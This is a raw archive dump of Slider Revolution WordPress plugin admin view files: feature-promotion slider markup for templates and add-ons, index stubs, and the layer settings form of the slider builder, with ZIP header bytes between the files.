									href="https://www.sliderrevolution.com/examples/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=templates" target="_blank" rel="nofollow noopener"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:100%;h:100%;"
									data-actions='o:mouseenter;a:gotoframe;layer:slider-1027-slide-2088-layer-3;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1027-slide-2088-layer-3;f:frame_3;ch:true;||o:mouseenter;a:playvideo;layer:slider-1027-slide-2088-layer-0;||o:mouseleave;a:stopvideo;layer:slider-1027-slide-2088-layer-0;||o:mouseenter;a:gotoframe;layer:slider-1027-slide-2088-layer-4;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1027-slide-2088-layer-4;f:frame_3;ch:true;||o:mouseenter;a:gotoframe;layer:slider-1027-slide-2088-layer-5;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1027-slide-2088-layer-5;f:frame_3;ch:true;'
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8400;"
									data-frame_hover="bgc:#006dd2;sp:200ms;e:power1.inOut;"
									style="z-index:8;background-color:#2a2c2f;cursor:pointer;"
								> 
								</a><!--

								--><rs-layer
									id="slider-1027-slide-2088-layer-2" 
									class="rs-noevents"
									data-type="text"
									data-color="#ffffff"
									data-rsp_ch="on"
									data-xy="x:c;y:235px;"
									data-text="w:normal;fw:700;a:center;"
									data-dim="w:100%;"
									data-padding="r:20;l:20;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8400;"
									style="z-index:10;font-family:Roboto;"
								>200+ Ready To Go Templates 
								</rs-layer><!--

								--><rs-layer
									id="slider-1027-slide-2088-layer-3" 
									class="rev-btn rs-noevents"
									data-type="button"
									data-color="#b7bbc0"
									data-rsp_ch="on"
									data-xy="x:c;y:270px;"
									data-text="w:normal;s:15;l:32;fw:500;"
									data-dim="minh:0px;"
									data-padding="r:35;l:35;"
									data-border="bor:3px,3px,3px,3px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;c:#ffffff;bgc:#005db3;"
									data-frame_3="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:11;background-color:#3a3e44;font-family:Roboto;"
								>Preview Templates 
								</rs-layer><!--

								--><rs-layer
									id="slider-1027-slide-2088-layer-4" 
									class="rs-noevents"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;y:1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="o:0;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;"
									data-frame_3="o:1;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:13;background:linear-gradient(rgba(32,34,36,0) 0%, rgba(32,34,36,0.01) 6.67%, rgba(32,34,36,0.04) 13.34%, rgba(32,34,36,0.1) 20.01%, rgba(32,34,36,0.17) 26.68%, rgba(32,34,36,0.25) 33.35%, rgba(32,34,36,0.35) 40.02%, rgba(32,34,36,0.45) 46.69%, rgba(32,34,36,0.55) 53.36%, rgba(32,34,36,0.65) 60.03%, rgba(32,34,36,0.75) 66.70%, rgba(32,34,36,0.83) 73.37%, rgba(32,34,36,0.9) 80.04%, rgba(32,34,36,0.96) 86.71%, rgba(32,34,36,0.99) 93.38%, rgba(32,34,36,1) 100%);"
								> 
								</rs-layer><!--

								--><rs-layer
									id="slider-1027-slide-2088-layer-5" 
									class="rs-noevents"
									data-type="image"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_0="sX:0.6;sY:0.6;"
									data-frame_0_mask="u:t;"
									data-frame_1="st:200;sp:600;sR:200;"
									data-frame_999="o:0;st:w;sR:7100;"
									data-frame_2="y:top;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:200;"
									data-frame_3="y:0px;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:100;"
									style="z-index:12;"
								><img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/cover_templates2.jpg" width="760" height="428" data-no-retina> 
								</rs-layer><!--
							--></rs-group><!--
-->						</rs-slide>
					</rs-slides>
				</rs-module>		
			</rs-module-wrap>PK�y3\�ƹ�views/features/index.phpnu�[���<?php // Silence is golden
PK�y3\����views/features/add_ons.phpnu�[���<?php
if(!defined('ABSPATH')) exit();
?>
	<rs-module-wrap id="rev_slider_1028_1_wrapper" data-alias="benefit-addons" data-source="gallery" style="background:transparent;padding:0;margin:0px auto;margin-top:0;margin-bottom:0;">
				<rs-module id="rev_slider_1028_1" class="feature_slider" style="" data-version="6.2.50">
					<rs-slides>
						<rs-slide data-key="rs-2089" data-title="Slide" data-anim="ei:d;eo:d;s:1000;r:0;t:fade;sl:0;">
							<img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/transparent.png" alt="Slide" class="rev-slidebg" data-no-retina>
<!--
							--><rs-group
								id="slider-1028-slide-2089-layer-5" 
								data-type="group"
								data-rsp_ch="on"
								data-xy="x:c;"
								data-text="w:normal;"
								data-dim="w:380px;h:330px;"
								data-clip="u:true;t:circle;o:clr;"
								data-frame_0="o:1;cp:0%;"
								data-frame_1="sp:1000;cp:75%;"
								data-frame_999="o:0;st:w;sR:8000;sA:9000;"
								style="z-index:14;"
							><!--
								--><rs-layer
									id="slider-1028-slide-2089-layer-0" 
									class="rs-noevents rs-nolc rs-layer-video intrinsic-ignore"
									data-type="video"
									data-rsp_ch="on"
									data-xy="x:c;y:-1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-video="ap:false;vd:100;noint:t;l:true;ptimer:false;nse:f;sav:f;"
									data-mp4="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/addonsvideo.mp4"
									data-frame_1="st:800;sR:800;"
									data-frame_999="o:0;st:w;sR:7900;"
									style="z-index:9;"
								>
								</rs-layer><!--

								--><a
									id="slider-1028-slide-2089-layer-1" 
									class="rs-layer"
									href="https://www.sliderrevolution.com/expand-possibilities-with-addons/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=addons" target="_blank" rel="nofollow noopener"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:100%;h:100%;"
									data-actions='o:mouseenter;a:gotoframe;layer:slider-1028-slide-2089-layer-3;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1028-slide-2089-layer-3;f:frame_3;ch:true;||o:mouseenter;a:playvideo;layer:slider-1028-slide-2089-layer-0;||o:mouseleave;a:stopvideo;layer:slider-1028-slide-2089-layer-0;||o:mouseenter;a:gotoframe;layer:slider-1028-slide-2089-layer-4;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1028-slide-2089-layer-4;f:frame_3;ch:true;||o:mouseenter;a:gotoframe;layer:slider-1028-slide-2089-layer-6;f:frame_2;ch:true;||o:mouseleave;a:gotoframe;layer:slider-1028-slide-2089-layer-6;f:frame_3;ch:true;'
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8400;"
									data-frame_hover="bgc:#006dd2;sp:200ms;e:power1.inOut;"
									style="z-index:8;background-color:#2a2c2f;cursor:pointer;"
								> 
								</a><!--

								--><rs-layer
									id="slider-1028-slide-2089-layer-2" 
									class="rs-noevents"
									data-type="text"
									data-color="#ffffff"
									data-rsp_ch="on"
									data-xy="x:c;y:235px;"
									data-text="w:normal;fw:700;a:center;"
									data-dim="w:100%;"
									data-padding="r:20;l:20;"
									data-frame_0="y:20px;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:8400;"
									style="z-index:10;font-family:Roboto;"
								>25+ Advanced Addons 
								</rs-layer><!--

								--><rs-layer
									id="slider-1028-slide-2089-layer-3" 
									class="rev-btn rs-noevents"
									data-type="button"
									data-color="#b7bbc0"
									data-rsp_ch="on"
									data-xy="x:c;y:270px;"
									data-text="w:normal;s:15;l:32;fw:500;"
									data-dim="minh:0px;"
									data-padding="r:35;l:35;"
									data-border="bor:3px,3px,3px,3px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_0="y:20px;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;c:#ffffff;bgc:#005db3;"
									data-frame_3="oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:11;background-color:#3a3e44;font-family:Roboto;"
								>View Plugins 
								</rs-layer><!--

								--><rs-layer
									id="slider-1028-slide-2089-layer-4" 
									class="rs-noevents"
									data-type="shape"
									data-rsp_ch="on"
									data-xy="x:c;y:1px;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_1="sp:600;"
									data-frame_999="o:0;st:w;sR:7300;"
									data-frame_2="o:0;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:400;"
									data-frame_3="o:1;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:200;sR:300;"
									style="z-index:13;background:linear-gradient(rgba(32,34,36,0) 0%, rgba(32,34,36,0.01) 6.67%, rgba(32,34,36,0.04) 13.34%, rgba(32,34,36,0.1) 20.01%, rgba(32,34,36,0.17) 26.68%, rgba(32,34,36,0.25) 33.35%, rgba(32,34,36,0.35) 40.02%, rgba(32,34,36,0.45) 46.69%, rgba(32,34,36,0.55) 53.36%, rgba(32,34,36,0.65) 60.03%, rgba(32,34,36,0.75) 66.70%, rgba(32,34,36,0.83) 73.37%, rgba(32,34,36,0.9) 80.04%, rgba(32,34,36,0.96) 86.71%, rgba(32,34,36,0.99) 93.38%, rgba(32,34,36,1) 100%);"
								> 
								</rs-layer><!--

								--><rs-layer
									id="slider-1028-slide-2089-layer-6" 
									class="rs-noevents"
									data-type="image"
									data-rsp_ch="on"
									data-xy="x:c;"
									data-text="w:normal;"
									data-dim="w:380px;h:215px;"
									data-ford="frame_0;frame_1;frame_2;frame_3;frame_999;"
									data-frame_0="sX:0.6;sY:0.6;"
									data-frame_0_mask="u:t;"
									data-frame_1="st:200;sp:600;sR:200;"
									data-frame_999="o:0;st:w;sR:7100;"
									data-frame_2="y:top;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:200;"
									data-frame_3="y:0px;oX:50%;oY:50%;oZ:0;tp:600;e:power1.inOut;st:a;sp:400;sR:100;"
									style="z-index:12;"
								><img src="<?php echo RS_PLUGIN_URL;?>admin/views/features/assets/coveraddons.jpg" width="760" height="428" data-no-retina> 
								</rs-layer><!--
							--></rs-group><!--
-->						</rs-slide>
					</rs-slides>
				</rs-module>		
			</rs-module-wrap>PK�y3\�ƹ�views/index.phpnu�[���<?php // Silence is golden
PK�y3\�ဆ�E�Eviews/builder-layer-forms.phpnu�[���<?php
/**
 * Provide a admin area view for the plugin LAYER SETTINGS
 *
 * This file is used to markup the admin-facing aspects of the plugin.
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
if(!defined('ABSPATH')) exit();
?>

<!--<div id="gst_layer_5" data-select="#gst_layer_5" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_actions"]'><i class="material-icons">link</i><span class="gso_title">Actions</span></div>-->

<!-- GOOGLE FONT LIST CONTAINER -->
<div id="tp-thelistoffonts"></div>

<!-- LAYER SETTINGS -->
<div id="layer_settings">

	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="mmbw_loptions">
			<div id="stylemode_layeroption"><div class="main_mode_submode left blue"><?php _e('Editor View', 'revslider');?></div><div class="main_mode_submode right"><?php _e('Layer options', 'revslider');?></div><div class="tp-clearfix"></div></div>
			<div id="hovermode_layeroption"><div class="main_mode_submode left blue"><?php _e('Hover View', 'revslider');?></div><div class="main_mode_submode right"><?php _e('Layer options', 'revslider');?></div><div class="tp-clearfix"></div></div>
			<div id="animationmode_layeroption"><div class="main_mode_submode left lila"><?php _e('Animation View', 'revslider');?></div><div class="main_mode_submode right"><?php _e('Layer options', 'revslider');?></div><div class="tp-clearfix"></div></div>
		</div>
		<div id="gst_layer_collector" class="gso_wrap">
			<div id="gst_layer_1" data-select="#gst_layer_1" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger selected" data-collapse="true" data-forms='["#form_layer_content"]'><i class="material-icons">create</i><span data-stickycolor="blue" class="gso_title"><?php _e('Content', 'revslider');?></span></div><!--
			--><div id="gst_layer_3" data-select="#gst_layer_3" data-unselect=".layer_submodule_trigger" data-evt="updateInputFields" class="callEvent layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_style"]'><i class="material-icons">palette</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Style', 'revslider');?></span></div><!--
			--><div id="gst_layer_2" data-select="#gst_layer_2" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_position"]'><i class="material-icons">open_with</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Size & Pos', 'revslider');?></span></div><!--
			--><div id="gst_layer_6" data-select="#gst_layer_6" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_advstyle"]'><i class="material-icons">invert_colors</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Adv. Style', 'revslider');?></span></div><!--
			--><div id="gst_layer_4" data-select="#gst_layer_4" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_animation"]'><i class="material-icons">play_arrow</i><span data-stickycolor="purple"  class="gso_title"><?php _e('Animation', 'revslider');?></span></div><!--
			--><div id="gst_layer_15" data-select="#gst_layer_15" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_loop"]'><i class="material-icons">repeat_one</i><span data-stickycolor="purple"  class="gso_title"><?php _e('Loop Layer', 'revslider');?></span></div><!--
			--><div id="gst_layer_9" data-select="#gst_layer_9" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_hover"]'><i class="material-icons">mouse</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Hover', 'revslider');?></span></div><!--
			--><div id="gst_layer_8" data-select="#gst_layer_8" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_parallax"]'><i class="material-icons">system_update_alt</i><span data-stickycolor="blue"  class="gso_title"><?php _e('On Scroll', 'revslider');?></span></div><!--
			--><div id="gst_layer_5" class="callEvent layer_submodule_trigger openmodaltrigger" data-evt="openLayerActions"><i class="material-icons">touch_app</i><span class="gso_title">Actions</span></div><!--
			--><div id="gst_layer_13" data-select="#gst_layer_13" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_visibility"]'><i class="material-icons">photo_size_select_large</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Visibility', 'revslider');?></span></div><!--
			--><div id="gst_layer_11" data-select="#gst_layer_11" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger callEvent" data-collapse="true" data-forms='["#form_layer_attributes"]'><i class="material-icons">description</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Attributes', 'revslider');?></span></div><!--
			--><div id="gst_layer_7" data-select="#gst_layer_7" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger callEvent" data-evt="updateCustomCSSLayerInput" data-collapse="true" data-forms='["#form_layer_customcss"]'><i class="material-icons">code</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Custom CSS', 'revslider');?></span></div><!--
			--><div id="gst_layer_14" data-select="#gst_layer_14" data-unselect=".layer_submodule_trigger" class="layer_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_layer_static"]'><i class="material-icons">album</i><span data-stickycolor="blue"  class="gso_title"><?php _e('Static', 'revslider');?></span></div>
		</div>
	</div>

	<!-- LAYER CONTENT CONTAINER -->
	<div id="no_layer_selected" class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper"><i class="material-icons">info</i>Add or Select Layer(s)</div>



	<!-- LAYER CONTENT CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_content"  class="formcontainer form_menu_inside" data-select="#gst_layer_1" data-unselect=".layer_submodule_trigger" >
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_content" class="collectortab form_menu_inside" data-forms='["#form_layer_content"]'><i class="material-icons">create</i><?php _e('Content', 'revslider');?></div></div>-->

			<!-- LAYER ROW CONTENT  -->
			<!-- LAYER COLUMN CONTENT  -->
			<div id="form_layercontent_content_row" class="form_inner open _shfr_ _shfc_">
				<div class="form_inner_header"><i class="material-icons">reorder</i><?php _e('Row Settings', 'revslider');?></div>
				<div class="collapsable">
					<div id="colselector_wrap">
						<row class="directrow">
							<onefifth><div class="colselector" data-col="1"><label_bigicon class="ui_onecol"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="1/2 + 1/2"><label_bigicon class="ui_twocol"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="1/3 + 1/3 + 1/3"><label_bigicon class="ui_threecol"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="1/4 + 1/4 + 1/4 + 1/4"><label_bigicon class="ui_fourcol"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="1/6 + 1/6 + 1/6 + 1/6 + 1/6 + 1/6"><label_bigicon class="ui_sixcol"></label_bigicon></div></onefifth>
						</row>
						<row>
							<onefifth><div class="colselector" data-col="1/4 + 1/2 + 1/4"><label_bigicon class="ui_onefourth_half_onefourth_col"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="1/6 + 4/6 + 1/6"><label_bigicon class="ui_onesixth_foursixth_onesixts_col"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="2/3 + 1/3"><label_bigicon class="ui_twothird_onethird_col"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="3/4 + 1/4"><label_bigicon class="ui_threefourth_onefourth_col"></label_bigicon></div></onefifth>
							<onefifth><div class="colselector" data-col="5/6 + 1/6"><label_bigicon class="ui_fivesixth_onesixth_col"></label_bigicon></div></onefifth>
						</row>
						<label_a><?php _e('Columns', 'revslider');?></label_a><input type="text" id="row_column_structure" data-updateviaevt="true">
						<label_a></label_a><div data-evt="updateColumnStructure" class="basic_action_button longbutton callEventButton layerinput"><i class="material-icons">refresh</i><?php _e('Update Row', 'revslider');?></div>
						<div class="div10"></div>
						<select  style="display:none !important" id="layer_row_break" data-evt="updateColumnBreak" data-updateviaevt="true" data-unselect=".layer_rowbreak_icons" data-select="#layer_row_break_*val*" class="layerinput easyinit callEvent" data-r="group.columnbreakat"><option value="notebook">notebook</option><option value="tablet">tablet</option><option value="mobile">mobile</option><option value="nobreak">nobreak</option></select>
						<row class="directrow">
							<onelabel><label_a><?php _e('Break At', 'revslider');?></label_a></onelabel>
							<onefull><label_icon class="triggerselect material-icons twostatetrigger layer_rowbreak_icons" data-select="#layer_row_break" data-val="notebook" id="layer_row_break_notebook">laptop</label_icon><label_icon class="triggerselect material-icons twostatetrigger layer_rowbreak_icons" data-select="#layer_row_break" data-val="tablet" id="layer_row_break_tablet">tablet_android</label_icon><label_icon class="triggerselect material-icons twostatetrigger layer_rowbreak_icons" data-select="#layer_row_break" data-val="mobile" id="layer_row_break_mobile">phone_iphone</label_icon><label_icon class="triggerselect material-icons twostatetrigger layer_rowbreak_icons" data-select="#layer_row_break" data-val="nobreak" id="layer_row_break_nobreak">block</label_icon></onefull>
						</row>

						<div class="div10"></div>
						<select  style="display:none !important" id="layer_row_position" data-evt="updateRowPosition" data-updateviaevt="true" data-unselect=".layer_rowposition_icons" data-prval="#slide#.layers.#parentlayer#.group.puid" data-prvalif="column" data-select="#layer_row_position_*val*" class="layerinput easyinit callEvent" data-r="group.puid"><option value="top">Top</option><option value="middle">Middle</option><option value="bottom">Bottom</option></select>
						<row class="directrow">
							<onelabel><label_a><?php _e('Row Position', 'revslider');?></label_a></onelabel>
							<onefull>
								<div class="triggerselect twostatetrigger material-icons layer_rowposition_icons" data-select="#layer_row_position" data-val="top" id="layer_row_position_top" data-helpkey="row_position"><label_icon class="rowtop"></label_icon></div><!--
								--><div class="triggerselect twostatetrigger material-icons layer_rowposition_icons" data-select="#layer_row_position" data-val="middle" id="layer_row_position_middle" data-helpkey="row_position"><label_icon class="rowmiddle"></label_icon></div><!--
								--><div class="triggerselect twostatetrigger material-icons layer_rowposition_icons" data-select="#layer_row_position" data-val="bottom" id="layer_row_position_bottom" data-helpkey="row_position"><label_icon class="rowbottom"></label_icon></div>
							</onefull>
						</row>
					</div>
				</div>
			</div>

			<div id="form_layercontent_content_column" class="form_inner open  _shfc_">
				<div class="form_inner_header"><i class="material-icons">reorder</i><?php _e('Column Settings', 'revslider');?></div>
				<div class="collapsable" style="padding-bottom:0px;" >
					<row>
						<onelabel><label_a><?php _e('Vertical Align', 'revslider');?></label_a></onelabel>
						<onefull>
							<label_icon class="triggerselect layer_content_ver_selector twostatetrigger material-icons" data-select="#layer_content_valign" data-val="top" id="layer_content_valign_top">vertical_align_top</label_icon><!--
							--><label_icon class="triggerselect layer_content_ver_selector twostatetrigger material-icons" data-select="#layer_content_valign" data-val="middle" id="layer_content_valign_middle">vertical_align_center</label_icon><!--
							--><label_icon class="triggerselect layer_content_ver_selector twostatetrigger material-icons" data-select="#layer_content_valign" data-val="bottom" id="layer_content_valign_bottom">vertical_align_bottom</label_icon>
						</onefull>
					</row>
				</div>
			</div>




			<!-- LAYER TEXT CONTENT -->
			<div id="form_layercontent_content_text" class="form_inner open _shft_ _shfb_ _homs_">
				<div class="form_inner_header"><i class="material-icons">title</i><?php _e('Text/Button Layer Content', 'revslider');?></div>
				<div class="collapsable" style="padding-bottom:0px;" id="text_button_layer_content_wrapper">

					<div class="left_right_row">
						<div class="view-switch">
							<div data-show="#ta_layertext" data-hide=".idletoggletext, #ta_toggle_settings" class="vs-item selected"><?php _e('Idle', 'revslider');?></div>
							<div data-show="#ta_toggletext, #ta_toggle_settings" data-hide=".idletoggletext" class="vs-item"><?php _e('Toggle', 'revslider');?></div>
						</div>
						<div class="icon_trigger_wrap">

							<div class="triggerEvent icon_trigger" data-evt="addBRtoTextLayer"><i style="margin:0px" class="material-icons">subdirectory_arrow_right</i></div>
							<div class="triggerEvent icon_trigger" data-evt="addIcontoTextLayer" data-iconparent="#text_button_layer_content_wrapper" data-insertinto="#ta_layertext"><i class="material-icons">apps</i><?php _e('Icon', 'revslider');?></div>
							<div id="add_meta_to_layer" class="triggerEvent icon_trigger" data-evt="addMetaToLayer" data-evtparam="layer"><i class="material-icons">local_offer</i><?php _e('Meta', 'revslider');?></div>
						</div>
						<div class="tp-clearfix"></div>
					</div>
					<textarea id="ta_layertext" class="idletoggletext rsmaxtextarea its-idle layerinput easyinit callEvent livechange"  data-br="convert" data-evt="layerTextContentUpdate" data-r="text" data-cursortoclick="true"></textarea>
					<textarea id="ta_toggletext" style="display:none" class="idletoggletext rsmaxtextarea its-toggle layerinput easyinit" data-br="convert" data-r="toggle.text" data-cursortoclick="true"></textarea>
					<div id="ta_layertext_extension"></div>
					<div id="ta_toggle_settings" style="display:none">
						<longoption><i class="material-icons">g_translate</i><label_a><?php _e('Use Toggle', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="toggle.set"></longoption>
						<longoption style="display:none"><i class="material-icons">mouse</i><label_a><?php _e('Toggled in Hover Style', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="toggle.useHover"></longoption>
						<longoption><i class="material-icons">compare_arrows</i><label_a><?php _e('Inverse Toggled Content', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="toggle.inverse"></longoption>
					</div>

					<div class="div10"></div>
					<label_a><?php _e('Placeholder', 'revslider');?></label_a><input id="ta_placeholder" type="text" data-r="placeholder" class="easyinit layerinput livechange" data-evt="layerTextContentUpdate" data-evtparam="placeholder" data-br="convert" data-cursortoclick="true">
					<div class="__idle__"><label_a><?php _e('Line Break', 'revslider');?></label_a><select id="layer_linebreak" class="layerinput easyinit nosearchbox tos2"  data-responsive="true" data-evt="redrawInnerHTML" data-r="idle.whiteSpace.#size#.v"><option value="nowrap"><?php _e('Only Manual &lt;br/&gt;', 'revslider');?></option><option value="normal"><?php _e('Width Based', 'revslider');?></option><option value="content"><?php _e('Content Based', 'revslider');?></option><option value="full"><?php _e('Content and Width Based', 'revslider');?></option></select></div>
				</div>
			</div>

			<!-- HORIZONTAL ALIGN SPECIALITY -->
			<div id="form_layercontent_content_horalign" style="margin-top:0px; padding-top:0px;" class="form_inner open _shft_ _shfb_ _shfc_">
				<div class="collapsable" class="" style="padding-top:0px;">
					<row class="directrow">
						<onelabel><label_a><?php _e('Text Align', 'revslider');?></label_a></onelabel>
						<onefull>
							<label_icon class="triggerselect layer_content_hor_selector twostatetrigger material-icons" data-select="#layer_content_halign" data-val="left" id="layer_content_halign_left">format_align_left</label_icon><!--
							--><label_icon class="triggerselect layer_content_hor_selector twostatetrigger material-icons" data-select="#layer_content_halign" data-val="center" id="layer_content_halign_center">format_align_center</label_icon><!--
							--><label_icon class="triggerselect layer_content_hor_selector twostatetrigger material-icons" data-select="#layer_content_halign" data-val="right" id="layer_content_halign_right">format_align_right</label_icon><!--
							--><label_icon class="triggerselect layer_content_hor_selector twostatetrigger material-icons" data-select="#layer_content_halign" data-val="inherit" id="layer_content_halign_inherit">subdirectory_arrow_right</label_icon>
						</onefull>
					</row>
				</div>
			</div>

			

			<!-- LAYER IMAGE CONTENT  -->
			<div id="form_layercontent_content_image" class="form_inner open _shfi_">
				<div class="form_inner_header"><i class="material-icons">filter_hdr</i><?php _e('Image Layer Content', 'revslider');?></div>
				<div class="collapsable">
					<longoption><i class="material-icons">language</i><label_a ><?php _e('Image from Stream if exist', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.imageFromStream"></longoption>
					<div class="div10"></div>
					<row class="direktrow">
						<oneshort><div id="minilayerprevimage_wrap" class="miniprevimage_wrap"><i class="material-icons">filter_hdr</i><div id="layer_image_src"></div></div></oneshort>
						<oneshort>
							<div id="image_layer_media_library_button" data-evt="updatelayerimagesrc" data-r="media.imageUrl" data-rid="media.imageId" data-sty="behavior.imageSourceType" data-lib="media.imageLib" class="getImageFromMediaLibrary basic_action_button longbutton layerinput"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
							<div id="image_layer_object_library_button" data-evt="updatelayerimagesrc" data-r="media.imageUrl" data-rid="media.imageId" data-sty="behavior.imageSourceType" data-lib="media.imageLib" class="getImageFromObjectLibrary basic_action_button longbutton layerinput"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
						</oneshort>
					</row>
					<div class="div15"></div>
					<label_a class="singlerow"><?php _e('Lazy Loading', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-r="behavior.lazyLoad"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><option value="force"><?php _e("Force Lazy Loading", 'revslider');?></option><option value="ignore"><?php _e("Ignore Lazy Loading", 'revslider');?></option></select>
					
					<!-- USED LIBRARY TYPE-->
					<div style="display:none"><label_a class="singlerow"><?php _e('Used Library', 'revslider');?></label_a><select class="layerinput easyinit" data-r="media.imageLib" data-show="#imagelayer_srctype_*val*" data-hide=".imagelayer_srctype_all" data-showprio="show"><option value="">Nothing</option><option value="objectlibrary">Objectlibrary</option><option value="medialibrary">MediaLibrary</option></select></div>					
					<!-- SIZE / SRC PICKER FOR CURRENT USED LIBRARY TYPE-->
					<div style="display:none" id="imagelayer_srctype_objectlibrary" class="imagelayer_srctype_all"><label_a class="singlerow"><?php _e('Image Size', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="image.object" data-r="behavior.imageSourceType"><option value="100" selected="selected"><?php _e("Original", 'revslider');?></option><option value="75" selected="selected"><?php _e("Large", 'revslider');?></option><option value="50" selected="selected"><?php _e("Medium", 'revslider');?></option><option value="25" selected="selected"><?php _e("Small", 'revslider');?></option><option value="10" selected="selected"><?php _e("Extra Small", 'revslider');?></option></select></div>
